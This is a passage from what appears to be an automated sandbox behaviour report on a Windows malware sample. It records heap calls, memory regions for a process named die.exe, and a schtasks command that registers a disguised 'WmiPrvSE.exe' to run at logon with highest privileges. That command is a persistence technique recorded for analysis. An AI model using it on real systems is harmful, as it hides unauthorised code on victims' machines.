(hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b70) returned 1 [0088.574] GetProcessHeap () returned 0xe0000 [0088.574] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5b70) returned 0x20 [0088.575] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b70 | out: hHeap=0xe0000) returned 1 [0088.575] GetProcessHeap () returned 0xe0000 [0088.575] GetProcessHeap () returned 0xe0000 [0088.575] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ba0) returned 1 [0088.575] GetProcessHeap () returned 0xe0000 [0088.575] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5ba0) returned 0x20 [0088.576] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ba0 | out: hHeap=0xe0000) returned 1 [0088.576] GetProcessHeap () returned 0xe0000 [0088.576] GetProcessHeap () returned 0xe0000 [0088.576] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb80) returned 1 [0088.576] GetProcessHeap () returned 0xe0000 [0088.576] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb80) returned 0x18 [0088.576] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb80 | out: hHeap=0xe0000) returned 1 [0088.577] GetProcessHeap () returned 0xe0000 [0088.577] GetProcessHeap () returned 0xe0000 [0088.577] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5bd0) returned 1 [0088.577] GetProcessHeap () returned 0xe0000 [0088.577] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5bd0) returned 0x20 [0088.577] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5bd0 | out: hHeap=0xe0000) returned 1 [0088.577] GetProcessHeap () returned 0xe0000 [0088.577] GetProcessHeap () returned 0xe0000 [0088.577] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c60) returned 1 [0088.578] GetProcessHeap () returned 0xe0000 [0088.578] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c60) returned 0x20 [0088.578] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c60 | out: hHeap=0xe0000) returned 1 [0088.578] GetProcessHeap () returned 0xe0000 [0088.578] GetProcessHeap () returned 0xe0000 [0088.578] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5cc0) returned 1 [0088.578] GetProcessHeap () returned 0xe0000 [0088.578] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5cc0) returned 0x20 [0088.579] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5cc0 | out: hHeap=0xe0000) returned 1 [0088.579] GetProcessHeap () returned 0xe0000 [0088.579] GetProcessHeap () returned 0xe0000 [0088.579] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d20) returned 1 [0088.579] GetProcessHeap () returned 0xe0000 [0088.579] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5d20) returned 0x20 [0088.580] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d20 | out: hHeap=0xe0000) returned 1 [0088.580] GetProcessHeap () returned 0xe0000 [0088.580] GetProcessHeap () returned 0xe0000 [0088.580] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d50) returned 1 [0088.580] GetProcessHeap () returned 0xe0000 [0088.580] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5d50) returned 0x20 [0088.581] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d50 | out: hHeap=0xe0000) returned 1 [0088.581] GetProcessHeap () returned 0xe0000 [0088.581] GetProcessHeap () returned 0xe0000 [0088.581] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbba0) returned 1 [0088.581] GetProcessHeap () returned 0xe0000 [0088.581] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbba0) returned 0x18 [0088.581] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbba0 | out: hHeap=0xe0000) returned 1 [0088.581] GetProcessHeap () returned 0xe0000 [0088.581] GetProcessHeap () returned 0xe0000 [0088.581] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c90) returned 1 [0088.581] GetProcessHeap () returned 0xe0000 [0088.581] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c90) returned 0x20 [0088.582] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c90 | out: hHeap=0xe0000) returned 1 [0088.582] GetProcessHeap () returned 0xe0000 [0088.582] GetProcessHeap () returned 0xe0000 [0088.582] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb20) returned 1 [0088.582] GetProcessHeap () returned 0xe0000 [0088.582] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb20) returned 0x18 [0088.582] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb20 | out: hHeap=0xe0000) returned 1 [0088.582] exit (_Code=0) Thread: id = 202 os_tid = 0x928 Process: id = "60" image_name = "die.exe" filename = "c:\\program files (x86)\\internet explorer\\signup\\die.exe" page_root = "0x3b451000" os_pid = "0x930" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5122 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5123 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5124 start_va = 0x40000 end_va = 0x117fff monitored = 1 entry_point = 0x10f1ee region_type = mapped_file name = "die.exe" filename = "\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe") Region: id = 5125 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5126 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5127 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5129 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5130 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5131 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 5132 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5133 start_va = 0x120000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5134 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5135 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5136 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5137 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5138 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5139 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5140 start_va = 0x120000 end_va = 0x186fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5141 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5142 start_va = 0x390000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5143 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5144 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 5145 start_va = 0x4b0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 5447 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5448 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5449 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5450 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5451 start_va = 0x560000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5452 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5453 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 5454 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5455 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5609 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5610 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5611 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5612 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5613 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5614 start_va = 0x190000 end_va = 0x1b8fff monitored = 0 entry_point = 0x191010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5615 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 5616 start_va = 0x190000 end_va = 0x1b8fff monitored = 0 entry_point = 0x191010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5617 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5618 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5619 start_va = 0x8e0000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 5620 start_va = 0xa70000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 5621 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5622 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5623 start_va = 0x660000 end_va = 0x730fff monitored = 1 entry_point = 0x72f1ee region_type = mapped_file name = "die.exe" filename = "\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe") Region: id = 5624 start_va = 0x660000 end_va = 0x730fff monitored = 1 entry_point = 0x72f1ee region_type = mapped_file name = "die.exe" filename = "\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\die.exe") Region: id = 5760 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5761 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5762 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5763 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5764 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5765 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5855 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5856 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5857 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5858 start_va = 0x7fe91ea0000 end_va = 0x7fe91eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ea0000" filename = "" Region: id = 5859 start_va = 0x7fe91eb0000 end_va = 0x7fe91ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91eb0000" filename = "" Region: id = 5860 start_va = 0x7fe91ec0000 end_va = 0x7fe91f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5861 start_va = 0x7fe91f50000 end_va = 0x7fe91fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f50000" filename = "" Region: id = 5862 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5863 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5864 start_va = 0x1e70000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 5865 start_va = 0x2040000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 6268 start_va = 0x22a0000 end_va = 0x239ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 6269 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6270 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 6271 start_va = 0x23a0000 end_va = 0x1a39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 6600 start_va = 0x1a3a0000 end_va = 0x1a71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a3a0000" filename = "" Region: id = 6601 start_va = 0x1e70000 end_va = 0x1f70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 6602 start_va = 0x1fc0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 6603 start_va = 0x1a750000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a750000" filename = "" Region: id = 6604 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6691 start_va = 0x20b0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 6692 start_va = 0x21b0000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 6693 start_va = 0x1a850000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 6694 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 221 os_tid = 0x934 Thread: id = 276 os_tid = 0xc60 Thread: id = 286 os_tid = 0xd64 Thread: id = 294 os_tid = 0xe40 Process: id = "61" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cec9000" os_pid = "0x938" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4609 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4610 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4611 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4612 start_va = 0x220000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4613 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4614 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4615 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4616 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4617 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4618 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4619 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4620 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4621 start_va = 0x50000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4622 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4623 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4624 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4625 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4626 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4645 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4646 start_va = 0xf0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4647 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4648 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4649 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4650 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4651 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4652 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4653 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4654 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4655 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4656 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4657 start_va = 0x2a0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4658 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4659 start_va = 0x420000 